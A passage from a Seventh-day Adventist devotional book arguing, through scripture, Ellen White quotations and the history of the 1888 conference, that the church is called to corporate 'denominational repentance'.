commissioned to proclaim the everlasting gospel in
its final setting. The history of the rise of this
church demonstrates that it fulfills the criteria, but
thus far she may have failed to accomplish her
task.
The solution to the problem of her obvious
infidelity is denominational repentance, not
denominational disintegration. This is the only
work the High Priest can minister in the final Day
of Atonement. Daniel's prophecy (8:14) declares
that it "shall" take place, not perhaps or maybe.
The time has come to believe it wholeheartedly, so
that we can release our brakes and unitedly
cooperate with Him in His task.
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The Larger Issue: Christ's Honor
Thus the church will "make herself ready" to be
the Bride of Christ. He deserves this practical
fruitage of His sacrifice. He has suffered enough,
and at last His church will give him the complete
surrender that a bride gives to her husband.
There are sincere church members who have
doubted that such a vindication will ever take
place. They need to understand that their doubting
"ifs" are hindering the true work of God. These
doubts are motivating souls to defect to the ranks
of the one who is determined that Christ shall not
be honored at last. The Lord's most serious
problem is not the outward enemies of His work,
but the blindness and unbelief among His professed
followers.
Have you ever heard of a bride in a wedding
ceremony refusing to accept the bridegroom in
spite of his assurances of faithful love? Wouldn't
such a bridegroom be terribly humiliated?
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Can you think of any greater tragedy in the end
of history than for a disappointed Christ to stand
before "the door" knocking in vain and ultimately
turning away in the humiliation of defeat? That is
what the devil wants! Why should we give in to
him by default? The picture we see in Scripture
indicates complete success. "The sacrifices of God
are a broken spirit, a broken and a contrite heart—
these, O God, You will not despise" (Psalm 51:17).
By virtue of the infinite sacrifice on Calvary, we
must choose to believe that the Laodicean message
will fully accomplish its objective."
(Prophets and Kings, pages 713, 714).
The Laodicean church is the new covenant
church. Not for her own intrinsic goodness will the
Lord remain loyal to her, but because He has to be
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a covenant-keeping God. "Not because of your
righteousness or the uprightness of your heart that
you go in to possess their land, but … [that] the
Lord your God … may fulfill the word which the
Lord swore to your fathers, to Abraham, Isaac, and
Jacob" (Deuteronomy 9:5). That covenant aspect of
Christ's character is the assurance that the message
to Laodicea will not fail.
We have no right to sit in judgment on our
Lord's call, and deliberate over it as though it were
a human suggestion someone makes. Perish the
very thought! Is it not sufficient that the Lord calls
for repentance? How dare anyone say, "Well, I like
the idea, but I doubt it will work," or, "In my
personal opinion, we're not all that bad that we
need denominational repentance." No committee or
conference can dare to contradict Christ's call.
We read that the Infinite One still keeps
account with the nations. While His mercy is
tendered with calls to repentance, this account
remains open; but when the figures reach a certain
amount which God has fixed, the ministry of His
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wrath begins. The account is closed (Prophets and
Kings, page 364).
If He keeps account with nations, why can't He
also keep an account with a denomination?
The universe of Heaven is watching us on their
equivalent of TV. They also watched the
crucifixion of the Prince of glory. They have seen
that He has called for a humbling of heart,
contrition, melting of soul, from the denomination
that prides itself on being "the remnant church."
What response will they see us make in our
generation?
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Chapter 11
The Practical Problem: How
Can a Church of Millions of
Members Repent?
Does our complex machinery get in the way of
the Holy Spirit's working? As we get bigger and
bigger, must we drift farther from Christ? There
must be an answer.
How is it possible for a large organized church
to repent? Must the body become spiritually more
disjointed and uncoordinated, like a quadriplegic
whose spasms and jerks are uncontrollable by the
head?
The essential quality of repentance remains the
same in all ages and in all circumstances. People,
not machines, not organizations, repent. But the
repentance called for from Laodicea is unique in
circumstances, depth, and extent. The church is not
a machine, nor is its organization an impersonal
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force. The church is a "body," and its organism is
its vital functioning capacity. The individuals
comprising this body can repent as a body because
each member is integrally one with every other
member.
As we have seen, metanoia (Greek for
repentance) literally means "perceptive
afterthought." It cannot be complete until the close
of probationary history when history's guilt is at
last discerned. So long as there is a tomorrow
which will provide further reflection on the
meaning of our "mind" today, or so long as
another's sins may yet disclose to us our own
deeper guilt, our repentance must remain to that
extent incomplete.
But it will grow, for "at every advance step in
Christian experience our repentance will deepen"
(Christ's Object Lessons, page 160). The High
Priest who is cleansing the heavenly sanctuary has
not abdicated His work. His people may fail to
learn their lessons, but He will bring them back
over the same ground to test them again and again
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until they overcome. The final test may be in
process now (see Testimonies, vol. 4, page 214;
vol. 5, page 623).
A Bright Future for God's Work
A beautiful experience is on the program of
coming events, unique in history. We have often
neglected that heartwarming prophecy from
Zechariah, the Christ-centered prophet of the latter
rain. He tells us that there will come to the last-day
church and its leadership a heart-response to
Calvary that will completely transform the church.
Speaking through him of the final events, the Lord
says:
And I will pour on the house of David and on
the inhabitants of Jerusalem the Spirit of grace and
supplication; then they will look on Me whom they
have pierced; they will mourn for Him as one
mourns for his only son. … In that day a fountain
shall be opened for the house of David and for the
inhabitants of Jerusalem, for sin and for
uncleanness (Zechariah 12:10-13:1).
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Who is "the house of David"? It was anciently
the government of the denominated people of God.
Zechariah refers to the leadership of the last-day
church, the same as "the angel of the church," or
"the king and his nobles" to borrow Jonah's
terminology. They are "the men of Judah" whom
Daniel distinguishes from "the inhabitants of
Jerusalem" (Daniel 9:7). "The house of David"
includes all levels of leadership in the organized
church.
Who are the "inhabitants of Jerusalem"?
Jerusalem is a "city" of Abraham's descendants, the
organized body of God's people. In Zechariah's
day, it was the capital of a distinct group of people
called to represent the true God to the nations of
the world, a corporate, denominated body of
professed worshippers.
"The Spirit of grace and supplication" is not to
be poured out on scattered individual descendants
of Abraham, but on the inhabitants of the "city," a
visible body of God's denominated people on earth.
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(It is implied that no descendant of Abraham
choosing to dwell outside "Jerusalem" will share in
the blessing. After the Babylonian Captivity, those
Jews were indeed lost to history who chose to
remain in the nations where they were scattered,
refusing to move back to the corporate, ancestral
nation in Palestine.)
Does it seem impossible that a spirit of
contrition can be poured out on a leadership and a
world church congested by organizational
complexity? The more involved the church
becomes with its multitudinous entities, the greater
is the danger of its huge collective self choking the
simple, direct promptings of the Holy Spirit. Each
individual catching a vision is tempted to feel that
his hands are tied—what can he do? The great
organizational monolith, permeated with formalism
and lukewarmness, seems to move only at a snail's
pace. Aside from this "Spirit of grace and
supplication," the nearer we come to the end of
time and the bigger the church becomes, the more
complex and congested is its movement, and the
more remote appears the prospect of this
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experience.
But let us not overlook what the Bible says. We
need to remember that long before we developed
our intricate systems of church organization, the
Lord created infinitely more complex systems of
organization, and yet "the spirit … was in the
wheels" (Ezekiel 1:20). Our problem is not the
complexity of organization; it is the collective love
of self. And the message of the cross can take care
of that!
Why the World Needs God's People
The world needs a "Jerusalem" as a "witness to
all nations." Without her, the task cannot be done.
The history of old Jerusalem's failure proves that
without "the Spirit of grace and of supplications,"
denominational organization inevitably becomes
rigid and misrepresentative of its divine mission.
Zechariah says that a correct view of Calvary
imparts contrition ("they will look on Me whom
they [not the Jews and Romans of a past
millennium] have pierced"). Thus the vision of the
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cross will provide the ultimate solution to the
problem of human "sin and uncleanness."
What is "uncleanness"? It must be that deeper
layer of unrealized selfish motivation that underlies
all sin, which must be cleansed in the Day of
Atonement, but which has never been fully
accomplished in any previous generation. The
motivation of fear of hell with the reverse side of
the same coin, hope of eternal reward, will give
way to the pure constraint of the love of Christ.
The collective love of self will be "crucified with
Christ."
How does that "Spirit of grace and
supplication" work? Two distinct elements make
up this remarkable experience: (a) "the Spirit of
grace," an appreciation of the cross, a view of
God's character of love completely devastating and
annihilating to human self-sufficiency and pride;
and (b) "the Spirit of supplication," prayer arising
from melted, contrite hearts.
The difference in essential quality between this
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"supplication" and ordinary formal prayers is great.
People will immediately detect the genuineness of
such prayer because it will come from hearts
humbled by corporate repentance. When prayer
comes from such a heart, says David, then will we
"teach transgressors Your ways, and sinners shall
be converted to You" (Psalm 51:13). Soul-winning
will become successful.
The Spirit pervading every congregation will
be recognized. In close context to Zechariah's
prophecy of chapter 10, we find another prophecy
showing what will be the results of such
denominational repentance:
People from around the world will come on
pilgrimages and pour into Jerusalem from many
foreign cities to attend these celebrations. People
will write their friends in other cities
[denominations] and say, 'Let's go to Jerusalem to
ask the Lord to bless us, and be merciful to us. I'm
going! Please come with me. Let's go now!"
(Zechariah 8:20, 21, Living Prophecies,
paraphrased by Kenneth N. Taylor).
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The Cross and Denominational Repentance
What can anyone do to hasten this day? Must
we go into our graves and leave it to some future
generation?
If we refuse the repentance Christ calls for, the
answer must be Yes. If we hold to "business-asusual"
pride and dignity, the answer must be Yes.
If we permit past negative patterns of leadership
reaction to continue, the answer must be Yes. The
answer can and will be No when personal and
group love of self is crucified with Christ. Only
then will anyone have the courage to bear witness
to truth in sanctified opposition to unsanctified
group-think.
The answer to the question "How?" is the
message of the cross. "They shall look on Me
whom they have pierced," the Lord says. Here is
focused the full recognition of corporate guilt; and
the "Spirit" bestowed can only follow a full, frank
repentance of the body. All human sin centers in
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the murder of the Son of God. So long as this is not
perceived, the "Spirit of grace and supplication" is
unwelcome to proud hearts and therefore not
receivable. We then remain childish, tragically
content to strut on the stage of the universe
unaware of our true pathetic condition. A
knowledge of the full truth brings sorrow for sin,
not a self-centered fear of punishment, but a Christcentered
empathy for Him in His sufferings and a
wholehearted concern for His vindication.
This transfer of concern from self to Christ will
be thorough and pervasive. It has never been fully
realized since apostolic days. "They will mourn for
Him, as one mourns for his only son, and grieve for
Him, as one grieves for a firstborn" (Zechariah
12:10). Thank God, most of us have never known
that particular kind of grief; yet we can begin to
appreciate it. We will sing, "Out of the depths I
have cried to You, O Lord" (Psalm 130:1). To shift
our focus of concern from anxiety regarding our
own salvation to such concern for Christ—this
phenomenon the Holy Spirit alone can accomplish.
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Our natural concern for our own personal
security has often permeated our spiritual
experience in our hymns, our prayers, our sermons.
If there were no power of the Holy Spirit to
accomplish the miracle of this change, we might
estimate that decades, perhaps even centuries,
would be needed to effect such a transformation in
human nature. But a "short work" is possible, and
has been promised (Romans 9:28). If Communism
in Eastern Europe could collapse so suddenly,
surely Laodicea's unbelief can collapse in a short
time.
The last church is composed of individuals like
everyone else in human history, born with a "carnal
mind," the natural unregenerate heart of the sinner.
But the revelation of truth will work for them a
transformation of mind. The more fully the mind of
Christ is received, the deeper becomes their sense
of contrition. The after-perception of the
enlightened mind views sin without illusion.
Laodicea at last has her eyes open.
It's Good News, Not Bad
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Nevertheless, this repentance is the opposite of
despair or gloom. When we can view our sinful
state with the repentance of enlightened "after
perception," we can truly appreciate the "Good
News" in it. Those who fear repentance lest it
induce gloom or sadness misunderstand the mind
of Christ and close their hearts to the healing power
of the Holy Spirit. The laughter of the world is
superficial and quickly turns to despair under trial.
"Not as the world gives" is the joy of Christ,
consistent with His being a man of sorrows and
acquainted with grief (see John 14:27; Isaiah 53:3).
As the remnant church ministers amidst the tragic
disintegration of human life that will characterize
the last days, that deep unfailing joy of the Lord
will emerge from a realistic contrition. A closer
walk with the "man of sorrows" will enable God's
people to help the homeless and hungry, those
dying with AIDS, and those weeping over their
broken homes.
Repentance for the individual is perceptive
after-thought, a change of mind that views personal
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character and history in the light of Calvary. What
was previously unrealized in the life becomes
known. The deep-seated selfishness of the soul, the
corruption of the motives, all are viewed in the
light that streams from the cross.
Repentance for the church body is the same
perceptive afterthought, but it views
denominational history from the perspective of
Calvary. What was previously unrealized within
history becomes known. Movements and
developments that were mysterious at the time are
seen in their larger, truer significance. Pentecost
forever defines this glorious reality of repentance.
The "Why" of Apostolic Success
The secret of the early church's success was an
understanding that "you crucified Christ," after
which true repentance followed naturally. Christ
crucified became the central appeal of all the
apostles' ministry. The Book of Acts would never
have been written unless the members of the early
church had realized their involvement through the
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joyful experience of appropriate repentance.
From Acts 10 onwards we read of how others
besides Jews partook of the same experience. The
apostles marvelled that the Gentiles should
experience the same profound response to the cross
that the believing Jews did, and thus receive the
gift of the Holy Spirit (Acts 10:44-47). The Holy
Spirit sent the truth closer home than the apostles
expected. Their contrite hearers identified
themselves with the Jews and recognized their
share of the guilt. In other words the Gentiles
experienced a corporate repentance.
Nothing in Scripture indicates that the full
reception of the Holy Spirit in the last days will be
any different.
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Chapter 12
What Our Denominational
History Tells Us
The Bad News: We have lost some battles; the
Good News: the war is not over.
Does our denominational history give meaning
to Christ's call for last-day repentance? There are
several possible ways of looking at our history:
1. We can view our past with pride like a sports
team that almost never loses a game. This
attitude is thought to be loyalty, for it
assumes that God's blessings on the church
are His approval of our spiritual condition.
The result is apathy and pervasive
lukewarmness. This is by far the most
popular view of our history, but its spiritual
pride is the opposite of New Testament faith
which always includes the element of
contrition.
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2. In contrast, others view our history with
despair. There are real failures in our history
that some interpret as evidence that the Lord
has cast off this church. This view has
produced various offshoots, and continually
spawns new movements of fruitless,
destructive criticism. Often these movements
are initiated as a legitimate protest against
spiritual pride or apostasy, although they
seldom offer a practical solution to the
problem.
But there is something that both groups hold in
common: Both strenuously oppose denominational
repentance. The first group oppose it on the
grounds that it is unnecessary. Even the suggestion
is regarded as impertinent, disloyal, as the ancient
priests regarded Jeremiah's appeals for national
repentance. The second group reject it on the
grounds that it is impossible, since they assume
that the Lord has withdrawn from the church both
the privilege and the possibility of such repentance.
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There is a third view possible:
3. We can view our history with a confidence
born of contrition. This is the realistic
approach. This church is the true "remnant"
of prophecy which God has raised up. The
world has not yet truly heard the message,
and His people have not as yet been prepared
for the return of Christ. This view "rejoices in
the truth." It does not seek to evade or
suppress the obvious facts of denominational
history that call for repentance and
reformation. Our failure to honor our Lord
requires simply that we fall to our knees.
Nevertheless, realism highlights the future
with hope. The joy of the Lord always
accompanies repentance.
Attempts to Explain the Long Delay
Truth always gives ground for hope. Denying
or suppressing the truth produces frustrated
despair. The reason is that the human conscience
recognizes the reality of the passage of time, the
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pervading spiritual inertia, and the distressing
world outlook. A disregard of Christ's call to repent
will inevitably destroy the morale of thoughtful,
informed church members all over the world. The
loss to the church is incalculable.
We are forced to recognize that the long delay
must be explained in some way. Something
somewhere has to "give." Four possible solutions
are usually suggested:
1. Some say that the integrity of the church itself
must "give." That is, its hopes have been
disappointed because its very existence, they
say, has become illegitimate. It has forfeited the
favor of God, they add, and no longer
represents a valid movement of His leading.
Ultimately, this view logically assumes a
holier-than-thou stance.
2. Some theologians say that fundamental
doctrines of the church must "give." The
pioneers were theologically naive. In particular,
the sanctuary doctrine that built the Advent
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Movement into a unique denomination, they
say, is not scriptural. Again, this proposed
solution is a fatal consequence of decades-long
famine for the "third angel's message in verity,"
the 1888 relationship of righteousness by faith
to the cleansing of the sanctuary.
3. Some propagandists suggest that our
understanding of "the Spirit of Prophecy" must
"give." Ellen White did not enjoy, they say, the
extent of divine inspiration that we have
thought was the case. She was inspired only in
the sense that other nineteenth century religious
writers were inspired. Something must "give,"
and the carnal heart, having long resented Ellen
White's high, Christlike standards, would like
to destroy her prophetic credibility. "We will
not have this man to reign over us" was the cry
of rebellious Israel concerning Jesus. Now we
face the same revolt against "the testimony of
Jesus." It is denigrated as a nineteenth-century
hangover.
4. Some suggest that the descent of the Holy
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Spirit at Pentecost was the real second Advent,
and it has been going on ever since. The longer
the Great Delay continues, the stronger will be
the temptation to restructure the doctrine of the
second coming and abandon belief in a
personal, literal, imminent return of Jesus.
Implicit in all the above lurks a virtual charge
against God Himself. "My Lord delays His
coming" is the reechoing theme. From the days of
the pioneers, it is assumed, He has mocked the
prayers of a sincere people who have stood loyal to
His commandments and the faith of Jesus, against
the ridicule of other Christian churches and the
world. This view requires us to believe that He has
disappointed His people, not only on October 22,
1844, but continually ever since. The question at
issue is the faithfulness of God!
The Historical Solution to Our Impasse
If we understand Christ's call to "the angel of
the church of the Laodiceans" as a call to
denominational repentance, then we can see the
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four proposed solutions above in a different light:
1. The integrity of the church remains intact as the
true "remnant" of the Bible prophecies.
2. Our foundational doctrines remain valid, being
thoroughly scriptural.
3. Ellen White endures criticism and attacks as a
true, honest agent who exercised the prophetic
gift of "the testimony of Jesus."
4. The descent of the Holy Spirit at Pentecost is
not confused with the future personal, literal
second coming of Christ. The Lord has not
delayed His coming nor has He mocked the
sincere prayers of His people since 1844. The
pioneers were truly led of the Holy Spirit in
their understanding of the prophecies, the
second advent, and the sanctuary. What must
"give," then, is only our corporate, sinful,
Laodicean unbelief that has thwarted all of our
Lord's attempts to bring healing, unity, and
reformation.
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On the other hand, the alternative is
frightening. If our Lord has indeed delayed His
coming, He has deceived us and we cannot trust
Him in the future. But if we have delayed His
return, then there is hope. Something can be done.
Our unbelieving impenitence can be healed.
Insisting that our Lord has delayed His coming
virtually destroys the Advent hope, but recognizing
that we have delayed it can validate and confirm
our hope.
"Just Like the Jews"
Our historical parallel with the ancient Jewish
nation is striking. They were God's true
denominated people, enjoying as much evidence of
His favor as we have enjoyed. Their pride in their
denominational structure and organization was
shown by their attitude, "The temple of the Lord,
the temple of the Lord, the temple of the Lord, are
these" (Jeremiah 7:4). The "temple" to us is our
worldwide organization, which is as much a source
of pride to us as was the temple to the ancient
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Jews. The Lord did indeed establish and bless the
ancient temple, but the Jews' refusal of national
repentance nullified its meaning:
The same disobedience and failure that were
seen in the Jewish church have characterized in a
greater degree the people who have had this great
light from Heaven in the last messages of warning.
[Shall we let the history of Israel be repeated in our
experience?] Shall we, like them, squander our
opportunities and privileges until God shall permit
oppression and persecution to come upon us? Will
the work that might be performed in peace and
comparative prosperity be left undone until it must
be performed in days of darkness, under the
pressure of trial and persecution?
There is a terrible amount of guilt for which the
church is responsible (Testimonies, vol. 5, pages
456, 457).
Without the atonement of Christ, it is
devastating to any individual's self-respect to face
the reality of his or her guilt. It is the same with the
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church body. To face this "terrible amount of guilt"
without discouragement, we also must see how
God's love for the church is unchanging. Whatever
that "guilt" may be, she is still the one object of the
Lord's supreme regard. Again, this involves
recognizing the creative aspect of God's agape
love.
Critics who are ready to abandon hope for the
church are unwittingly at war with that
fundamental truth of God's character. The "final
atonement" that we have long talked about must
include a final reconciliation with the reality of His
divine character in the setting of the antitypical
Day of Atonement.
Many inspired statements liken our
denominational failure to that of the Jews. A very
few examples must suffice:
Since the time of the Minneapolis [1888]
meeting, I have seen the state of the Laodicean
church as never before. I have heard the rebuke of
God spoken to those who feel so well satisfied,
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who know not their spiritual destitution. … Like
the Jews, many have closed their eyes lest they
should see (Review and Herald, August 26, 1890).
There is less excuse in our day for stubbornness
and unbelief than there was for the Jews in the days
of Christ. … Many say, "If I had only lived in the
days of Christ, ....
If … we travel over the same ground, cherish
the same spirit, refuse to receive reproof and
warning, then our guilt will be greatly augmented,
and the condemnation that fell upon them will fall
upon us (Ibid., April 11, 1893).
All the universe of Heaven witnessed the
disgraceful treatment of Jesus Christ, represented
by the Holy Spirit [at the 1888 Session]. Had
Christ been before them, they ["our own brethren"]
209
would have treated Him in a manner similar to that
in which the Jews treated Christ (Special
Testimonies Series A, No. 6, page 20).
Men professing godliness have despised Christ
in the person of His messengers [1888]. Like the
Jews, they reject God's message (Fundamentals of
Christian Education, page 472).
As surely as the Jews' history illustrates their
need for a national repentance, so does our 1888
history illustrate our need for repentance and a
final atonement. The inspired messenger of the
Lord was quick to see it. According to Ellen White,
the 1888 Conference was a miniature Calvary, a
demonstration of the same spirit of unbelief and
opposition to God's righteousness that inspired the
ancient Jews. The spirit that actuated the opposers
of the message was not a minor misunderstanding,
a temporary underestimate of a debatable doctrine.
It was inward rebellion against the Lord. If the
Lord's messenger means what she says over and
over, it was a reenactment of the crucifixion of
Christ—in principle. This reality is our great stone
210
of stumbling and our rock of offense.
Our History Discloses Enmity Against God
Bear in mind that these facts in no way
diminish the truth that the Seventh-day Adventist
Church was then and is now the "remnant church."
The brethren who opposed the 1888 message were
the true "angel of the church of the Laodiceans,"
and God did not cast off the church. Our history
makes Christ's call to repent come alive, and the
only reason it has not come alive sooner is that it
has not been understood. The church is basically
honest at heart, and the long delay in repentance is
solely due to the truth having been misconstrued
and distorted.
Whereas the ancient Jews rejected their longawaited
Messiah, we rejected our long-awaited
outpouring of the latter rain. Note some points of
comparison:
1. The Jews' Messiah was born in a stable. The
beginning of the latter rain in 1888 was
211
manifested in surprisingly humble
circumstances. Both events caught the
respective leaders by surprise.
2. The Jews failed to discern the Messiah in His
lowly guise. We failed to discern in the humble
and sometimes faulty message of 1888 the
beginning of the eschatological opportunity of
the ages.
3. The Jews were afraid Jesus would destroy their
denominational structure. "We" feared that the
1888 message would damage the effectiveness
of the church through uplifting faith rather than
obedience to the law as the way of salvation.
4. The opposition of Jewish leaders influenced
many to reject Jesus. The persistent opposition
of leading brethren in the years that followed
1888 influenced younger workers and laity to
disregard the message. The church at large
would have accepted the message had it come
to them unopposed by leadership.
212
5. The Jewish nation never repented of their sin,
to this day. Thus they never recovered the
blessings that Jesus' lordship would have
brought to them. Likewise, we have never as a
denomination faced our corporate guilt. We
have not repented of our rejection of the
beginning of the outpouring of the Holy Spirit,
and recovered the message. For this reason we
have never yet enjoyed the full blessings of its
renewal. The very obvious reality of a century
of history demonstrates this truth.
Note how the gospel commission could have
been finished nearly a century ago:
213
etarding the work? (General Conference Bulletin,
1893, page 419).
The light that is to lighten the whole earth with
its glory was resisted, and by the action of our own
brethren has been in a great degree kept away from
the world (Selected Messages, Book One, page
235).
That humble messenger believed to her end that
the Seventh-day Adventist Church is the true
"remnant" of Bible prophecy, entrusted with God's
last gospel message of mercy. She was loyal to the
church to the end, believing that humbling of heart
before God is the only response we can make that
will enable Heaven to renew the gift of the Holy
Spirit.
The Full Truth is Uplifting, Not Depressing
The full truth is always upbeat, positive,
encouraging. Someone might try to distort Peter's
sermon at Pentecost and label it as "negative"
because it clearly pinpointed the guilt of the nation
214
and called for repentance. But Pentecostal power
for witnessing followed Pentecostal repentance. A
repeat of this glorious phenomenon awaits our
repentance and reconciliation with the Lord.
God's love for the world demands that His
message of Good News go everywhere with power.
We know that it is not unfair of the Lord to
withhold from us further showers of the latter rain
until we repent in the same way that the Lord
required ancient Israel to repent. It can be said of
us in truth, "Great is the wrath of the Lord that is
aroused against us, because our fathers have not
obeyed the words of this book, to do according to
all that is written concerning us" (2 Kings 22:13).
We can pray as did Ezra, "From the days of our
fathers down to this present day our guilt has been
very great" (Ezra 9:7, NEB).
The reason is that the sins of spiritual fathers
get ingrained into us, except for specific
knowledge and repentance. Even though we were
very few in number in 1888, the character of that
unbelieving impenitence has been propagated
215
throughout the worldwide body like a spreading
virus. The disease must run its course until
repentance can eradicate it. Until then, each new
generation absorbs the same lukewarmness. This is
not the Augustinian doctrine of original sin. There
is no genetic transmission of guilt. We simply
recognize the reality of how sin has been
propagated ever since Eden "through the medium
of influence, taking advantage of the action of
mind on mind, … reaching from mind to mind"
(Review and Herald, April 16, 1901).
Daniel's Corporate Repentance
Our position parallels that of Judah in the days
of Daniel. He could have argued before the Lord,
"Some of us and some of our fathers were true,
Lord; look how faithful I have been, also Shadrach,
Meshach, and Abednego! We have practiced health
reform. Remember how some of our 'fathers' such
as Jeremiah, Baruch, and others, stood nobly for
the truth in times of apostasy. We are not all guilty,
Lord!"
216
But how did Daniel pray? Notice his use of the
corporate "we":
All Israel has transgressed Your law, and has
departed so as not to obey Your voice. … For our
sins, and for the iniquities of our fathers, Jerusalem
and Your people are become a reproach to all that
are around us. … I was … confessing my sin and
the sin of my people Israel (Daniel 9:11, 16, 20).
The fact that Daniel was not personally present
in the days of King Manasseh did not keep him
from confessing Manasseh's sins as though they
were his own. The fact that we were not personally
present in 1888 makes no more difference than that
Daniel was not living in the days of his fathers.
Christ in His own flesh has shown us how to
experience a repentance for sins in which we have
not thought we were personally involved. If He, the
sinless One, could repent "in behalf of" the sins of
the whole world, surely we can repent in behalf of
the sins of our fathers, whose spiritual children we
are today. The essential truth that cries for
recognition is that their sin is ours, because of the
217
eality of the Biblical principle of corporate guilt.
Did the 1901 General Conference Cancel the
1888 Unbelief?
We must take a brief look at an argument that
has been assumed to contradict the need for
denominational repentance. Some have assumed
that the 1901 General Conference Session was an
about-face, a reformation that undid the rejection
of the 1888 message and cancelled its
consequences. This view implies the parallel
assumption that the latter rain and the loud cry
have been progressing ever since. Large baptisms
and financial and institutional growth are often
cited as evidence, even though the Mormons and
Jehovah's Witnesses can also cite phenomenal
statistical growth.
It is true that the 1901 session did bring great
organizational blessings that could keep our
machinery running smoothly for centuries. It is
also clear that no deep spiritual reformation
occurred. The lady with keen discernment wrote to
218
a friend a few months after the 1901 Session:
The result of the last General Conference
[1901] has been the greatest, the most terrible
sorrow of my life. No change was made. The spirit
that should have been brought into the whole work
as the result of have been
prevailing in the work at Battle Creek (Ellen White
letter to Judge Jesse Arthur, Elmshaven, January
14, 1903).
In consequence of this impenitence, the
finishing of God's work was delayed an indefinite
time:
We may have to remain here in this world
because of insubordination many more years, as
did the children of Israel; but for Christ's sake His
people should not add sin to sin by charging God
219
with the consequence of their own wrong course of
action (Letter, December 7, 1901; M-184, 1901).
Even so, it was not too late then to engage in an
experience of repentance. The Lord's messenger
did not write the phrase "denominational
repentance," but she expressed the principle. "All"
needed to participate:
But if all would only see and confess and
repent of their own course of action in departing
from the truth of God, and following human
devisings, then the Lord would pardon (Idem).
John the Baptist could have spent several
lifetimes trying to encompass all the needs for
reformation in his day. So we could spend decades
addressing each departure from the Lord's plan for
us. But John preferred to lay "the ax ... to the root
of the trees" (Matthew 3:10).
Would repenting of "our" rejection of the latter
rain lay the ax to the root of our present spiritual
problem? Yes, for that is indeed its root.
220
But roots have a way of lying beneath the
visible surface.
221
Chapter 13
Corporate Repentance: Path
to Christlike Love
"The last message of mercy to be given to the
world is a revelation of God's character of love"
(Ellen G. White). Will corporate repentance lead to
a "caring church"?
"God is love," and therefore love is power. If
the final manifestation of the Holy Spirit will
demonstrate to the world that powerful love of
God, a new comprehension of it must come first to
the church:.
222
The last ray, pages 415, 416).
Most of us agree that this is largely yet future.
May its final fulfillment come soon!
Love, the Purifying, Consuming Fire in the Coal
Love as agape is not a namby-pamby, mushy
sentimentalism. The same God who is agape is also
"a consuming fire" (Hebrews 12:29). That fire is
death to selfishness, sensuality, love of the world,
pride and arrogance. It is death to lukewarmness as
well. Strange as it may sound to legalistic ears, it is
impossible for a church to be weak and sickly if
that love is understood and appreciated.
When it does impregnate the church as fire
permeates the coal, the church will become super-
223
efficient in soul winning. Each congregation will
be what Christ would be to that community were
He there in the flesh. Cleansed by the fire of sinconsuming
agape, the church will become an
extension of Christ's power to redeem lost people.
Then the Holy Spirit will at last do His final
work in human hearts. This is because members of
the body will receive the "mind of Christ." One's
heart beats faster to think about it:
Miracles will be wrought, the sick will be
healed, and signs and wonders will follow the
believers. … The rays of light penetrate
everywhere, the truth is seen in its clearness, and
the honest children of God sever the bands which
have held them. … A large number take their stand
upon the Lord's side (The Great Controversy, page
612).
What could those "rays of light" be except the
love of God seen in His people? Imagine the joy
that will flow like a river when the Lord's pure
Good News goes forth in glory and power! How
224
many human hearts now in darkness will meet
Christ and find in Him their soul's longing!
Meanwhile, congregations can too easily give
the impression of being a comfortable, exclusive
religious club, whereas the Lord declares that His
church is "a house of prayer for all nations." That
will include "sinners" we haven't thought much
about. The Lord speaks of His true people scattered
still in "Babylon" as "My people" (Revelation
18:4). But they may not turn out to be the "nice"
people that we hope will join our club. Do we want
"bad" people to come out of Babylon and join us?
The Lord does! Why does He send sunlight and
rain on "the just and the unjust," even His enemies?
The answer: His love is not natural for us to have.
If we could manipulate the bounties of nature,
wouldn't our discriminating between good and bad
people be more efficient in persuading the bad to
become good than God's way of showering
blessings on both alike?
Many people are counted by the Lord as His,
225
whom now we consider hopeless. There are Mary
Magdalenes and thieves on the cross. The moment
we try to be selective in our love, we forfeit
connection with the Holy Spirit. As the Pharisees
and scribes murmured, so we are too easily
scandalized because Christ "receives sinners"
(Luke 15:1, 2). But the greater the evil of the
sinner, the greater is God's glory in redeeming him:
The divine Teacher bears with the erring
through all their perversity. His love does not grow
cold; His efforts to win them do not cease. With
outstretched arms He waits to welcome again and
again the erring, the rebellious, and even the
apostate. … (Education, page 294).
Repentance Lights the Fire in the Coal
How can we learn this kind of love? There is
226
only one way that will work: by seeing Christ as
He truly is. He was perfectly sinless; nevertheless
He loved sinners. His repentance "in behalf of the
sins of the world" taught Him how weak He was
apart from strength from His Father. He knew He
could fall. He was born in the same river that
sweeps us into sin through the force of its
undertow, but He stood firm on the rock of faith in
His Father. He perfectly resisted that undertow,
even when all appearances told Him that He was
forsaken.
The Father sent His Son "in the likeness of
sinful flesh." In very truth He is our "brother." He
bore the guilt of every sinner. When we learn to
look upon Him with such understanding, we will
realize a sense of oneness with Him. We will feel
toward Him a heart union that will wipe out the
appeal of worldly allurement and self-concern.
Zechariah's prophecy about "the house of
David" seeing that they have "pierced" Christ is a
definite promise of the gift of repentance.
Corporate repentance felt for corporate guilt will
227
trigger the reception and exercise of this
overflowing love. The ability to feel for and to love
every sinner was the only way that Christ's
heavenly agape could be true to itself. Its
expression was the direct result of his experience in
our flesh of corporate repentance. He truly put
Himself in the place of "every man," for whom He
"tasted death." And He encourages us that we too
can learn to love even as He has loved us.
Righteousness by Faith Leads to Repentance
Only a repentance such as this can make sense
of the expression, "The Lord our righteousness"
(Jeremiah 23:6). The one who feels that by nature
he has at least some righteousness of his own will
naturally feel that he is to that extent better than
someone else. Feeling so, Christ will be a stranger
to him. And so, then, must the sinner likewise be a
stranger to him.
It is natural to human nature to abhor the
genuine truth of Christ's righteousness. We resent
the contrition implicit in seeing all our
228
ighteousness in Christ. We shrink from putting
ourselves in the place of the alcoholic, the drug
addict, the criminal, the prostitute, the rebel, the
derelict. We so easily say in heart, "I could never
sink to such a depth."
So long as we feel thus, we are powerless to
speak as Jesus did an effective word to help. Love
for souls is frozen. Restrained and selfishly
directed, it ceases to be agape. It's bad enough if
we decline to enter the kingdom of Heaven
ourselves through letting the Holy Spirit melt down
our deep-frozen hearts. But it's worse when we
actually shut up the kingdom so that the
contemporary Mary Magdalene or thief on the
cross cannot get in.
Blessed would be the millstone to be hung
around the neck of an unloving saint, and blessed
would be his/her drowning in the sea, said Jesus,
rather than face in the Judgment the results of a
lifelong lovelessness. "It were better not to live
than to exist day by day devoid of that love which
Christ has enjoined upon His children" (Counsels
229
to Teachers, page 266).
It is time to understand that the guilt of the
whole world's sin, its frustrated enmity against
God, its despair, its rebellion—all is "mine" apart
from the grace of God. And if Christ were to
withdraw from me that grace, I would embody the
whole of its evil, for "in me (that is, in my flesh)
nothing good dwells" (Romans 7:18). Until we
